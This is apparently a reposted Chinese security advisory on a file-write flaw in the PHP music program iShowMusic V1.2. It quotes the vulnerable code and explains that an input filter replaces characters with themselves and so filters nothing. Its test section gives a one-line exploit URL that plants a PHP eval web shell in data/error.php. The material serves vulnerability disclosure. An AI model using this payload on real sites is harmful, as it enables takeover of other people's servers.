前几天公布的漏洞了,这几天比较忙,今天才看到,
iShowMusic V1.2 写入shell漏洞漏洞预警
。刚好前段时间用这套程序做了个音乐站,在自己的站里测试成功了,顺便也补了下漏洞。--------
漏洞描述:
<PRE>iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。在error.php 12-26行</p><p> PHP代码</p><ol><li>elseif ($_POST['action']=="save"){<li>$cknumon && GdConfirm($gdcode);<li>if(emptyempty($id)) {<li>Showmsg("no","你还未选择歌曲呢!","返回重新填写","javascript.:history.back(-1)"); exit;}<li>elseif(emptyempty($_POST['user'])) {<li>Showmsg("no","你还没写名字呢!","返回重新填写","javascript.:history.back(-1)"); exit;}<li>else{<li>$user=safeconvert($user);<li>$line="$user|$songname|$id|$errmsg|$timestamp|\n";<li>$e="$datadir/error.php";<li>writetofile($e,$line,"a+");<li>Showmsg("yes","提交成功,谢谢您的支持!","关闭本页","javascript.:window.close()"); exit;<li>}<li></LI></OL></p>在global.php 27-34行</p><p> PHP代码</p><ol><li>foreach($_POST as $_key=>$_value){<li>$_POST[$_key]=str_replace(array('|','$','..'),array<li><li>('|','$','..'),$_POST[$_key]);<li>!ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key];<li>}<li>foreach($_GET as $_key=>$_value){<li>$_GET[$_key]=str_replace(array('|','$','..'),array<li><li>('|','$','..'),$_GET[$_key]);<li>!ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key];<li>}</LI></OL></p>这段代码是允许在register_globals在off的情况下工作程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.导致失去了这段代码本来的作用.</p><p> PHP代码</p><ol><li>function writetofile($file_name, $data, $method = "w")<li>{<li>$filenum = fopen($file_name, $method);<li>flock($filenum, LOCK_EX);<li>$file_data = fwrite($filenum, $data);<li>fclose($filenum);<li>return $file_data;<li>}<li></LI></OL></p>这个函数也没有任何过滤就把$data写进去了</PRE>
<*参考By qiur3n
http://www.wolvez.org/*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!<PRE>http://www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?>然后提交一下你就能获得一个shell在http://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文件夹改名,呵呵)</PRE>